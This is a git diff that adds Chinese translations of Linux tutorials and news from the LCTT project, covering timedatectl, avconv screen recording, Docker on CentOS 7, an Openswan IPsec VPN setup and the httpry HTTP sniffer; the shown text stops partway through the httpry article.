+**实时时钟(RTC)**,通常被称为硬件时钟,完全独立于操作系统当前状态,甚至可以在计算机关闭的时候工作。你可以配置系统使用国际时间(UTC)或当地时间来校正RTC。注意,使用当地时区校正RTC并没有完美支持,而且还有可能因为时区变化和夏令时调整引起许多问题。如果有可能,在UTC模式下校正RTC。这一做法的唯一问题是,其他操作系统可能不完全支持它(如果你在同一台机器上运行2个操作系统的话)。 + +使用UTC模式校正RTC,使用下面的命令: + + # timedatectl set-local-rtc 0 + +使用当地时间校正,使用: + + # timedatectl set-local-rtc 1 + +### 设置NTP同步 ### + +**网络时间协议(NTP)**是在分组交换、可变数据延迟的计算机系统间进行时钟同步的网络协议。NTP被设计使用[几毫秒的协调通用时间(UTC)][2]来同步所有参与的计算机。如果你希望设置NTP同步,你可以使用set-ntp选项设置。使用“no”关闭NTP同步,使用“yes”开启。 + + # timedatectl set-ntp yes + +--- + +via: http://linoxide.com/linux-command/timedatectl-change-time-date-systemd/ + +作者:[Adrian Dinu][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:http://www.freedesktop.org/wiki/Software/systemd/ +[2]:https://en.wikipedia.org/wiki/Coordinated_Universal_Time diff --git a/published/201411/20141108 How to Record Your Desktop Video and Audio Using 'Avconv' Tool in Ubuntu.md b/published/201411/20141108 How to Record Your Desktop Video and Audio Using 'Avconv' Tool in Ubuntu.md new file mode 100644 index 0000000000..0337b197ba --- /dev/null +++ b/published/201411/20141108 How to Record Your Desktop Video and Audio Using 'Avconv' Tool in Ubuntu.md @@ -0,0 +1,129 @@ +在 Linux 中使用"avconv"工具录制计算机桌面视频和音频 +================================================================================ +**Libav**是一款跨平台的工具库,能够用来处理多媒体文件、流和协议。它最初是源自ffmpeg。Libav带有一些工具,比如: + +- **Avplay**: 一款视频音频播放器。 +- **Avconv**: 能够记录多个设备输入源的一个多媒体转换器和视频音频录制器。 +- **Avprobe**: 一个连接多媒体文件流并且返回关于这个文件流的统计信息的工具。 +- **Libavfilter**: 一个Libav工具的过滤器(filtering)API。 + +在这篇文章里面,我们就要展示如何通过'Avconv'程序在**Debian/Ubuntu/Linux Mint**发行版上录制Linux桌面视频音频。 + +### 第一步:下载 Avconv 工具 ### + +**1.** **avconv**是 “**libav-tools**” 的一部分, 可以通过官方的基于debian的仓库下载,比如Mint、Ubuntu。输入下面命令即可: + + $ sudo apt-get update + $ sudo apt-get install libav-tools + +![Install Avconv Tool](http://www.tecmint.com/wp-content/uploads/2014/11/Install-avconv-tool.jpeg) + +*下载Avconv工具* + +**注意**: 如果从默认仓库下载的话, ‘**avconv**’ 的版本可能比较老。 因此我们推荐你拉取最新的git官方版本。 + + $ sudo apt-get install yasm + $ git clone git://git.libav.org/libav.git + $ cd libav + $ ./configure + $ make + $ sudo make install + +**注意**: 你应该运行 ‘**./configure –help**’ 来列出所有的可选配置选项并且安装相应的解码器和库,你还需要做很多工作来解决依赖问题。 + +也要注意,如果你是从源代码编译的,就需要使用**sudo avconv**而不是**avconv**来运行这个工具。 + +### 第二步:开始录制桌面视频 ### + +**2.**一切就绪,现在可以通过运行下面的命令录制你的视频了: + + $ avconv -f x11grab -r 25 -s 1920x1080 -i :0.0 -vcodec libx264 -threads 4 $HOME/output.avi + +简单解释一下这个命令: + +- **avconv -f x11grab** 默认从X服务捕捉画面。 +- **-r 25** 这是你需要的视频帧率,可以自行设置。 +- **-s 1920×1080** 是你的系统的桌面分辨率,要设置成你当前桌面的分辨率,这一点非常重要。 +- **-i :0.0** 我们要记录的位置(X 服务输出端口),设置成这样就可以了。 +- **-vcodec libx264** 我们用来录制视频的编码器。 +- **-threads 4** 线程数,可以根据情况更改。 +- **$HOME/output** 输出的目标文件路径。 +- **.avi** 使用的视频格式,可以换成 “flv”、“mp4″、 “wmv”、 “mov”、 “mkv”等。 + +**3.**在运行命令之后,就会在terminal上自动运行一个进程进行记录,按"Ctrl+C"键来终止记录。 + +![Record Desktop Screen](http://www.tecmint.com/wp-content/uploads/2014/11/Record-Desktop-Screen.jpeg) + +*录制桌面视频* + +**4.** 现在,你可以使用VLC或者其他的播放器,或者使用来自Libav包里的播放器"avplay"来播放你录制的视频。 + + $ avplay $HOME/output.avi + +**注意:** 别忘了替换输出文件的路径为你自己的,录制效果还是很好的。 + +![Play Recorded Video](http://www.tecmint.com/wp-content/uploads/2014/11/Play-Recorded-Video.jpeg) + +*播放录制的文件* + +这有一段我用 “**avconv**” 录制的[视频](http://www.youtube.com/embed/g1FEh4wByGE) (墙外)。 + + +### 第三步: 开始录制桌面的音频和视频 ### + +**5.** 如果也想同时录制音频,先运行这个命令,列出所有的音频输入源: + + $ arecord -l + +结果类似这样: + +![Check Audio Input](http://www.tecmint.com/wp-content/uploads/2014/11/Check-Audio-Input.png) + +*检查音频输入源* + +在我这里,我只有一个音频输入源,所以数量是**1**,这就是我使用如下命令来捕捉我的视频以及麦克风的音频的原因。 + + $ avconv -f alsa -i hw:1 -f x11grab -r 25 -s 1920x1080 -i :0.0 -vcodec libx264 -threads 4 output-file2.avi + +我修改了部分地方,下面做个简短的解释: + +- **-f** alsa 一个从alsa设备捕捉声音的选项。 +- **-i** hw:1 是一个从 “hw:1” 设备捕捉音频的选项,这个设备是我电脑上仅有的一个音频输入设备。 + +**注意**: 如果你想用**arecord -l**显示的**1**之外的设备的话,别忘了替换 “**1**”。 + +结束录制,再来一次“**Ctrl + C**” 就可以。 + +### 第四步: 开始录制桌面音频 ### + +**6.** 如果只想录制音频的话,使用下面的命令。 + + $ avconv -f alsa -i hw:1 out.wav + +**7.** 替换成 **.mp3** 等Libav支持的格式都可以,播放 **out.wav**就能听到你自己的声音了。 + +![Record Desktop Audio](http://www.tecmint.com/wp-content/uploads/2014/11/Record-Desktop-Audio.png) + +*录制桌面音频* + +###最后 ### + +“**avconv**” 工具可以用来做很多其他事情,不仅仅是录制桌面视频,更多的教程和文档请移步到官网。 + +- [https://libav.org/avconv.html][1] + +你对"avconv"的体验如何,你使用过其他工具录制桌面视频么?在评论里面和我们分享吧。 + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/record-ubuntu-desktop-screen-using-avconv/ + +作者:[Hanny Helal][a] +译者:[ggaaooppeenngg](https://github.com/ggaaooppeenngg) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.tecmint.com/author/hannyhelal/ +[1]:https://libav.org/avconv.html diff --git a/published/201411/20141112 [Quick Tip] How To Fix Docky Compositing Error In Lubuntu.md b/published/201411/20141112 [Quick Tip] How To Fix Docky Compositing Error In Lubuntu.md new file mode 100644 index 0000000000..e2f037df85 --- /dev/null +++ b/published/201411/20141112 [Quick Tip] How To Fix Docky Compositing Error In Lubuntu.md @@ -0,0 +1,39 @@ +小技巧:如何修复Lubuntu中的Docky混合错误 +================================================================================ +总所周知,**Docky**是Unix/Linux类系统中的轻量级应用启动器。我是 Lubuntu 和 Docky 的忠实粉丝,因为它们不需要占用我的所有系统资源,这样就可以同时运行更多应用。我在笔记本上使用Docky应用启动器,系统为Lubuntu 14.04. + +但是,如果你使用LXDE发行版,你也许肯定遇到过使用Docky时报混合的错误。看下面的截图。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/Docky.png) + +如果不开启混合功能,就不能使用Docky一些特别功能,如3D背景、自动隐藏。如果你想开启这些Docky的功能,那么你需要在你的LXDE系统中开启混合功能。 + +就像这样,首先安装 **xcompmgr**包: + + sudo apt-get install xcompmgr + +然后,选择**菜单(Menu) -> 偏好(Preferences) -> LXSession默认程序(Default applications for LXSession)**。选择自动开始(Autostart)选项卡。 在**(+增加)+Add**框中输入“**@xcompmgr -n**”不带引号。最后点击增加按钮。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/LXSession-configuration_002.png) + +这样就搞定了。关掉LXSession配置窗口,注销或重启系统。之后,你就可以看见混合功能已经打开。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/unknown_006.png) + +这时,你就可以使用3D背景和隐藏功能,如自动隐藏(Auto-hide),Intellihide和窗口闪烁(Window dodge)等。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/11/Docky-Settings_003.png) + +搞定!干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/quick-tip-fix-docky-compositing-error-lubuntu/ + +作者:[SK][a] +译者:[Vic020/VicYu](http://www.vicyu.net) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.unixmen.com/author/sk/ diff --git a/published/201411/20141114 Ubuntu MATE 14.04 LTS Now Available to Download.md b/published/201411/20141114 Ubuntu MATE 14.04 LTS Now Available to Download.md new file mode 100644 index 0000000000..9701a6d27a --- /dev/null +++ b/published/201411/20141114 Ubuntu MATE 14.04 LTS Now Available to Download.md @@ -0,0 +1,45 @@ +对,你没看错!Ubuntu MATE 14.04 LTS 现在发布了 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/ubuntu-mate-lts.jpg) + +**传统桌面的粉丝现在可以欢呼了,Ubuntu MATE的第一个长期支持版本现在发布了,马上去下载吧!** + +这个社区产物使用基于 GNOME2 的MATE桌面环境,这个分支还继续着积极的开发和提升。Ubuntu MATE 14.04 LTS跟随着上月发布的Ubuntu 14.10一起发布了。 + +### 回顾补充 ### + +你大概会想我是不是打错了(我是Joey Sneddon,这大概可以肯定)。但这此是没错的,你看到的是对的。Ubuntu MATE团队决定追溯创建一个LTS版本。 + +**Ubuntu MATE 14.04 LTS** 确切地应该叫Ubuntu MATE 14.11 LTS。[如项目领导者 Martin Wimpress 注明的][1]:不只是因为他在11月份发布,还因为它混合了14.04和14.10的代码。 + +> “该版本并不寻常,它虽然基于Ubuntu MATE 14.10 但是加入了很多新的特性,并且修复了很多bug。虽然这是一个14.04版本,但是你可以认为它是一个比14.10 更新的版本...” + +如其他社区产物一样,Ubuntu MATE 14.04也将至少支持接下来的三年,但是应该同样会得到来自上游的严重安全更新。 + +**与14.10相比的改变**包括: + +- 更新了主题和壁纸 +- 增加了两个新的应用: MATE Menu 和 MATE Tweak +- 改善辅助功能 +- VLC 代替了 Totem 视频播放器 +- 更新了几个 MATE 桌面包 + +### 下载 ### + +要知道更多细节,以及硬件需求和支持信息,可以在官方网站上找到,也可以点击下面的链接。 + +- [下载 Ubuntu MATE 14.04 LTS][2] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/11/ubuntu-mate-14-04-download-released + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://ubuntu-mate.org/blog/ubuntu-mate-trusty-final-release/ +[2]:https://ubuntu-mate.org/longterm/ \ No newline at end of file diff --git a/published/201411/20141115 LibreOffice 4.3.4 Released With 60 Bug Fixes v4.4 Shaping Up Nicely.md b/published/201411/20141115 LibreOffice 4.3.4 Released With 60 Bug Fixes v4.4 Shaping Up Nicely.md new file mode 100644 index 0000000000..34319b75e3 --- /dev/null +++ b/published/201411/20141115 LibreOffice 4.3.4 Released With 60 Bug Fixes v4.4 Shaping Up Nicely.md @@ -0,0 +1,58 @@ +修复了60个bug的LibreOffice 4.3.4正式发布 +================================================================================ + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2010/12/libreoffice.png) + +**[前一段时间][1], 文档基金会带着它的开源LibreOffice生产力套件的又一个小版本更新回来了。** + +LibreOffice 4.3.4,新系列中的第四个次版本,该版本只包含 BUG 修复,按计划发布了。 + +可以看到的变化是,如基金会所说的在developers’ butterfly net上被揪出来并且修复的bug数量大概有:60个左右。 + +- 排序操作现在还是默认为旧式风格(Calc) +- 在预览后恢复焦点窗口(Impress) +- 图表向导对话框不再是‘切除’式 +- 修复了记录改变时的字数统计问题 (Writer) +- 各种各样的RTF修复,包括图像边框导入(Writer) + +完整列表可以在 [LibreOffice Wiki 页面][2]查看。 + +### 下载 ### + +许多家伙有完整的LibreOffice安装程序但是从来没用过它。如果你是其中一份子,你就当做没看到。 + +如果你喜欢升级,你可以在官方网站上找到所有相关的下载链接。 + +- [下载LibreOffice 4.3.4][3] + +### 预测一下LibreOffice 4.4 ### + +![Info bar coming in LibreOffice 4.4](http://www.omgubuntu.co.uk/wp-content/uploads/2014/11/libreoffice-infobar.jpg) + +*来自LibreOffice 4.4的信息栏* + +LibreOffice 4.4应该会让大家更多期望。 + +[维基上讲述了][4]正在进行中的不间断大范围GUI调整,包括一个新的颜色选择器,重新设计的段落行距选择器和一个在凸显部位表示该文件是否为只读模式的信息栏。 + +虽然我知道一些桌面社区对这些大规模的界面变动的抗议声不断,但是他们还是朝着正确的方向稳步前进。 + +要记住,在一些必要情况下,LibreOffice对于企业和机构来说是一款非常重要的软件。在外观和布局上有任何引人注目的修改都会引发一串连锁效应。 + +感谢Tim W! + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/11/libreoffice-4-3-4-arrives-bundle-bug-fixes + +作者:[Joey-Elijah Sneddon][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:http://www.omgubuntu.co.uk/2014/10/libreoffice-4-3-3-released-62-bug-fixes +[2]:https://wiki.documentfoundation.org/Releases/4.3.4/RC1 +[3]:http://www.libreoffice.org/download/libreoffice-fresh/ +[4]:https://wiki.documentfoundation.org/ReleaseNotes/4.4#GUI diff --git a/published/201411/20141125 Linux FAQs with Answers--How to check glibc version on Linux.md b/published/201411/20141125 Linux FAQs with Answers--How to check glibc version on Linux.md new file mode 100644 index 0000000000..fe6ce70b0d --- /dev/null +++ b/published/201411/20141125 Linux FAQs with Answers--How to check glibc version on Linux.md @@ -0,0 +1,54 @@ +Linux有问必答:如何检查Linux上的glibc版本 +================================================================================ +> **问题**:我需要找出我的Linux系统上的GNU C库(glibc)的版本,我怎样才能检查Linux上的glibc版本呢? + +GNU C库(glibc)是标准C库的GNU实现。glibc是GNU工具链的关键组件,用于和二进制工具和编译器一起使用,为目标架构生成用户空间应用程序。 + +当从源码进行构建时,一些Linux程序可能需要链接到某个特定版本的glibc。在这种情况下,你可能想要检查已安装的glibc信息以查看是否满足依赖关系。 + +这里介绍几种简单的方法,方便你检查Linux上的glibc版本。 + +### 方法一 ### + +下面给出了命令行下检查GNU C库的简单命令。 + + $ ldd --version + +![](https://farm6.staticflickr.com/5613/15631104658_940163834a_z.jpg) + +在本例中,**glibc**版本是**2.19**。 + +### 方法二 ### + +另一个方法是在命令行“输入”**glibc 库的名称**(如,libc.so.6),就像命令一样执行。 + +输出结果会显示更多关于**glibc库**的详细信息,包括glibc的版本以及使用的GNU编译器,也提供了glibc扩展的信息。glibc变量的位置取决于Linux版本和处理器架构。 + +在基于Debian的64位系统上: + + $ /lib/x86_64-linux-gnu/libc.so.6 + +在基于Debian的32位系统上: + + $ /lib/i386-linux-gnu/libc.so.6 + +在基于Red Hat的64位系统上: + + $ /lib64/libc.so.6 + +在基于Red Hat的32位系统上: + + $ /lib/libc.so.6 + +下图中是输入glibc库后的输出结果样例。 + +![](https://farm8.staticflickr.com/7516/15631334667_ef50b247a4_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/check-glibc-version-linux.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201411/20141127 How to install Docker on CentOS 7.md b/published/201411/20141127 How to install Docker on CentOS 7.md new file mode 100644 index 0000000000..63ccb537f5 --- /dev/null +++ b/published/201411/20141127 How to install Docker on CentOS 7.md @@ -0,0 +1,84 @@ +如何在 CentOS 7 上安装 Docker +================================================================================ + +Docker 是一个开源工具,它可以让创建和管理 **Linux 容器**变得简单。容器就像是轻量级的虚拟机,并且可以以毫秒级的速度来启动或停止。Docker 帮助系统管理员和程序员在容器中开发应用程序,并且可以扩展到成千上万的节点。 + +容器和 VM(虚拟机)的主要区别是,容器提供了**基于进程的隔离**,而虚拟机提供了资源的完全隔离。虚拟机可能需要一分钟来启动,而容器只需要一秒钟或更短。容器使用宿主操作系统的内核,而虚拟机使用独立的内核。 + +Docker 的局限性之一是,它只能用在 **64 位**的操作系统上。 + +在这篇文章中我们将讨论如何在 CentOS 7.x 中安装 docker。 + +### CentOS 7 中 Docker 的安装 ### + +Docker 软件包已经包括在默认的 CentOS-Extras 软件源里。因此想要安装 docker,只需要运行下面的 yum 命令: + + [root@localhost ~]# yum install docker + +### 启动 Docker 服务 ### + +安装完成后,使用下面的命令来启动 docker 服务,并将其设置为开机启动: + + [root@localhost ~]# service docker start + [root@localhost ~]# chkconfig docker on + +(LCTT 译注:此处采用了旧式的 sysv 语法,如采用CentOS 7中支持的新式 systemd 语法,如下: + + [root@localhost ~]# systemctl start docker.service + [root@localhost ~]# systemctl enable docker.service + +) + +**下载官方的 CentOS 镜像到本地** (LCTT 译注:由于 Docker 被**墙** :-< ,所以请使用 http://docker.cn  的[镜像][1],感谢 @马全一 的镜像。 ) + + [root@localhost ~]# docker pull centos + Pulling repository centos + 192178b11d36: Download complete + 70441cac1ed5: Download complete + ae0c2d0bdc10: Download complete + 511136ea3c5a: Download complete + 5b12ef8fd570: Download complete + +**确认 CentOS 镜像已经被获取:** + + [root@localhost ~]# docker images centos + REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE + centos centos5 192178b11d36 2 weeks ago 466.9 MB + centos centos6 70441cac1ed5 2 weeks ago 215.8 MB + centos centos7 ae0c2d0bdc10 2 weeks ago 224 MB + centos latest ae0c2d0bdc10 2 weeks ago 224 MB + +**运行一个 Docker 容器:** + + [root@localhost ~]# docker run -i -t centos /bin/bash + [root@dbf66395436d /]# + +我们可以看到,CentOS 容器已经被启动,并且我们得到了 bash 提示符。在 docker 命令中我们使用了 “-i 捕获标准输入输出”和 “-t 分配一个终端或控制台”选项。若要断开与容器的连接,输入 exit。 + + [root@cd05639b3f5c /]# cat /etc/redhat-release + CentOS Linux release 7.0.1406 (Core) + [root@cd05639b3f5c /]# exit + exit + [root@localhost ~]# + +我们还可以搜索基于 Fedora 和 Ubuntu 操作系统的容器。 + + [root@localhost ~]# docker search ubuntu + [root@localhost ~]# docker search fedora + +**显示当前正在运行容器的列表** + +![](http://www.linuxtechi.com/wp-content/uploads/2014/11/docker-ps.png) + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/install-docker-on-centos-7/ + +作者:[Pradeep Kumar][a] +译者:[felixonmars](https://github.com/felixonmars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ +[1]:https://docker.cn/h/how-to-use-docker-official-repositories diff --git a/published/201411/How to create a site-to-site IPsec VPN tunnel using Openswan in Linux.md b/published/201411/How to create a site-to-site IPsec VPN tunnel using Openswan in Linux.md new file mode 100644 index 0000000000..d5ba37285a --- /dev/null +++ b/published/201411/How to create a site-to-site IPsec VPN tunnel using Openswan in Linux.md @@ -0,0 +1,218 @@ +在Linux中使用Openswan搭建站点到站点的IPsec VPN 隧道 +================================================================================ +虚拟私有网络(VPN)隧道是通过Internet隧道技术将两个不同地理位置的网络安全的连接起来的技术。当两个网络是使用私有IP地址的私有局域网络时,它们之间是不能相互访问的,这时使用隧道技术就可以使得两个子网内的主机进行通讯。例如,VPN隧道技术经常被用于大型机构中不同办公区域子网的连接。 + +有时,使用VPN隧道仅仅是因为它很安全。服务提供商与公司会使用这样一种方式架设网络,他们将重要的服务器(如,数据库,VoIP,银行服务器)放置到一个子网内,仅仅让有权限的用户通过VPN隧道进行访问。如果需要搭建一个安全的VPN隧道,通常会选用[IPsec][1],因为IPsec VPN隧道被多重安全层所保护。 + +这篇指导文章将会告诉你如何构建站点到站点的 VPN隧道。 + +### 拓扑结构 ### + +这边指导文章将按照以下的拓扑结构来构建一个IPsec 隧道。 + +![](https://farm4.staticflickr.com/3838/15004668831_fd260b7f1e_z.jpg) + +![](https://farm6.staticflickr.com/5559/15004668821_36e02ab8b0_z.jpg) + +![](https://farm6.staticflickr.com/5571/14821245117_3f677e4d58_z.jpg) + +### 安装软件包以及准备VPN服务器 ### + +一般情况下,你仅能管理A点,但是根据需求,你可能需要同时管理A点与B点。我们从安装Openswan软件开始。 + +基于Red Hat的系统(CentOS,Fedora,或RHEL): + + # yum install openswan lsof + +在基于Debian的系统(Debian,Ubuntu或Linux Mint): + + # apt-get install openswan + +现在禁用VPN的重定向功能,如果有服务器,可以执行下列命令: + + # for vpn in /proc/sys/net/ipv4/conf/*; + # do echo 0 > $vpn/accept_redirects; + # echo 0 > $vpn/send_redirects; + # done + +接下来,允许IP转发并且禁重定向功能。 + + # vim /etc/sysctl.conf + +---------- + + net.ipv4.ip_forward = 1 + net.ipv4.conf.all.accept_redirects = 0 + net.ipv4.conf.all.send_redirects = 0 + +重加载 /etc/sysctl.conf文件: + + # sysctl -p + +在防火墙中启用所需的端口,并保证不与系统当前的规则冲突。 + + # iptables -A INPUT -p udp --dport 500 -j ACCEPT + # iptables -A INPUT -p tcp --dport 4500 -j ACCEPT + # iptables -A INPUT -p udp --dport 4500 -j ACCEPT + +最后,我们为NAT创建防火墙规则。 + + # iptables -t nat -A POSTROUTING -s site-A-private-subnet -d site-B-private-subnet -j SNAT --to site-A-Public-IP + +请确保上述防火墙规则是持久有效的(LCTT 译注:你可以save这些规则或加到启动脚本中)。 + +#### 注意: #### + +- 你可以使用MASQUERAD替代SNAT(iptables)。理论上说它也能正常工作,但是有可能会与VPS发生冲突,所以我仍然建议使用SNAT。 +- 如果你同时在管理B点,那么在B点也设置同样的规则。 +- 直连路由则不需要SNAT。 + +### 准备配置文件 ### + +我们将要用来配置的第一个文件是ipsec.conf。不论你将要配置哪一台服务器,总是将你这端的服务器看成是左边的,而将远端的看作是右边的。以下配置是在站点A的VPN服务器做的。 + + # vim /etc/ipsec.conf + +---------- + + ## general configuration parameters ## + + config setup + plutodebug=all + plutostderrlog=/var/log/pluto.log + protostack=netkey + nat_traversal=yes + virtual_private=%v4:10.0.0.0/8,%v4:192.168.0.0/16,%v4:172.16.0.0/16 + ## disable opportunistic encryption in Red Hat ## + oe=off + + ## disable opportunistic encryption in Debian ## + ## Note: this is a separate declaration statement ## + include /etc/ipsec.d/examples/no_oe.conf + + ## connection definition in Red Hat ## + conn demo-connection-redhat + authby=secret + auto=start + ike=3des-md5 + ## phase 1 ## + keyexchange=ike + ## phase 2 ## + phase2=esp + phase2alg=3des-md5 + compress=no + pfs=yes + type=tunnel + left= + leftsourceip= + leftsubnet=/netmask + ## for direct routing ## + leftsubnet=/32 + leftnexthop=%defaultroute + right= + rightsubnet=/netmask + + ## connection definition in Debian ## + conn demo-connection-debian + authby=secret + auto=start + ## phase 1 ## + keyexchange=ike + ## phase 2 ## + esp=3des-md5 + pfs=yes + type=tunnel + left= + leftsourceip= + leftsubnet=/netmask + ## for direct routing ## + leftsubnet=/32 + leftnexthop=%defaultroute + right= + rightsubnet=/netmask + +有许多方式实现身份验证。这里使用预共享密钥,并将它添加到文件 /etc/ipsec.secrets。 + + # vim /etc/ipsec.secrets + +---------- + + siteA-public-IP siteB-public-IP: PSK "pre-shared-key" + ## in case of multiple sites ## + siteA-public-IP siteC-public-IP: PSK "corresponding-pre-shared-key" + +### 启动服务并排除故障 ### + +目前,服务器已经可以创建站点到站点的VPN隧道了。如果你可以管理B站点,请确认已经为B服务器配置了所需的参数。对于基于Red Hat的系统,使用chkconfig命令以确定这项服务以设置为开机自启动。 + + # /etc/init.d/ipsec restart + +如果所有服务器没有问题的话,那么可以打通隧道了。注意以下内容后,你可以使用ping命令来测试隧道。 + +1. A点不可达B点的子网,当隧道没有启动时ping不通。 +1. 隧道启动后,在A点直接ping B点的子网IP,是可以ping通的。 + +并且,到达目的子网的路由也会出现在服务器的路由表中。(LCTT译注:这里“子网”指的是site-B,“服务器”指的是site-A) + + # ip route + +---------- + + [siteB-private-subnet] via [siteA-gateway] dev eth0 src [siteA-public-IP] + default via [siteA-gateway] dev eth0 + +另外,我们可以使用命令来检测隧道的状态。 + + # service ipsec status + +---------- + + IPsec running - pluto pid: 20754 + pluto pid 20754 + 1 tunnels up + some eroutes exist + +---------- + + # ipsec auto --status + +---------- + + ## output truncated ## + 000 "demo-connection-debian": myip=; hisip=unset; + 000 "demo-connection-debian": ike_life: 3600s; ipsec_life: 28800s; rekey_margin: 540s; rekey_fuzz: 100%; keyingtries: 0; nat_keepalive: yes + 000 "demo-connection-debian": policy: PSK+ENCRYPT+TUNNEL+PFS+UP+IKEv2ALLOW+SAREFTRACK+lKOD+rKOD; prio: 32,28; interface: eth0; + + ## output truncated ## + 000 #184: "demo-connection-debian":500 STATE_QUICK_R2 (IPsec SA established); EVENT_SA_REPLACE in 1653s; newest IPSEC; eroute owner; isakmp#183; idle; import:not set + + ## output truncated ## + 000 #183: "demo-connection-debian":500 STATE_MAIN_I4 (ISAKMP SA established); EVENT_SA_REPLACE in 1093s; newest ISAKMP; lastdpd=-1s(seq in:0 out:0); idle; import:not set + +日志文件/var/log/pluto.log记录了关于身份验证,密钥交换以及隧道处于不同时期的一些信息。如果你的隧道无法启动了,可以查看这个文档。 + +如果你确信所有配置都是正确的,但是你的隧道任然无法启动,那么你需要检查以下的事件。 + +1. 很多ISP会过滤IPsec端口。确认你的网络ISP允许使用UDP 500, TCP/UDP 4500端口。你可以试着在远端通过telnet连接服务器的IPsec端口。 +1. 确认所用的端口在服务器防火墙规则中是允许的。 +1. 确认两端服务器的预共享密钥是一致的。 +1. 左边和右边的参数应该正确配置在两端的服务器上 +1. 如果你遇到的是NAT问题,试着使用SNAT替换MASQUERADING。 + +总结,这篇指导重点在于使用Openswan搭建站点到站点IPsec VPN的流程。管理员可以使用VPN使得一些重要的资源仅能通过隧道来获取,这对于加强安全性很有效果。同时VPN确保数据不被监听以及劫持。 + +希望对你有帮助。让我知道你的意。 + +--- + +via: http://xmodulo.com/2014/08/create-site-to-site-ipsec-vpn-tunnel-openswan-linux.html + +作者:[Sarmed Rahman][a] +译者:[SPccman](https://github.com/SPccman) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/sarmed +[1]:http://en.wikipedia.org/wiki/IPsec +[2]:https://www.openswan.org/ diff --git a/published/201411/How to sniff HTTP traffic from the command line on Linux.md b/published/201411/How to sniff HTTP traffic from the command line on Linux.md new file mode 100644 index 0000000000..849ed9e86d --- /dev/null +++ b/published/201411/How to sniff HTTP traffic from the command line on Linux.md @@ -0,0 +1,103 @@ +Linux 命令行下嗅探 HTTP 流量的工具:httpry +================================================================================ +假设由于某种原因,你需要嗅探HTTP站点的流量(如HTTP请求与响应)。举个例子,你可能在测试一个web服务器的实验性功能,或者你在为某个web应用或RESTful服务排错,又或者你正在为PAC(proxy auto config)排错或寻找某个站点下载的恶意软件。不论什么原因,在这些情况下,进行HTTP流量嗅探对于系统管理、开发者、甚至最终用户来说都是很有帮助的。 + +数据包嗅工具tcpdump被广泛用于实时数据包的导出,但是你需要设置过滤规则来捕获HTTP流量,甚至它的原始输出通常不能方便的停在HTTP协议层。实时web服务器日志解析器如[ngxtop][3]可以提供可读的实时web流量跟踪痕迹,但这仅适用于可完全访问live web服务器日志的情况。 + +要是有一个仅用于抓取HTTP流量的类似tcpdump的数据包嗅探工具就非常好了。事实上,[httpry][4]就是:**HTTP包嗅探工具**。httpry捕获HTTP数据包,并且将HTTP协议层的数据内容以可读形式列举出来。通过这篇指文章,让我们了解如何使用httpry工具嗅探HTTP流量。 + +###在Linux上安装httpry### + +基于Debian系统(Ubuntu 或 LinuxMint),基础仓库中没有httpry安装包(译者注:本人ubuntu14.04,仓库中已有包,可直接安装)。所以我们需要通过源码安装: + + $ sudo apt-get install gcc make git libpcap0.8-dev + $ git clone https://github.com/jbittel/httpry.git + $ cd httpry + $ make + $ sudo make install + +在Fedora,CentOS 或 RHEL系统,可以使用如下yum命令安装httpry。在CentOS/RHEL系统上,运行yum之前使其能够访问[EPEL repo][5]。 + + $ sudo yum install httpry + +如果你仍想通过基于RPM系统的源码来安装httpry的话,你可以通过这几个步骤实现: + + $ sudo yum install gcc make git libpcap-devel + $ git clone https://github.com/jbittel/httpry.git + $ cd httpry + $ make + $ sudo make install + +###httpry的基本用法### + +以下是httpry的基本用法 + + $ sudo httpry -i + +httpry就会监听指定的网络接口,并且实时的显示捕获到的HTTP请求/相应。 + +![](https://farm4.staticflickr.com/3883/14985851635_7b94787c6d_z.jpg) + 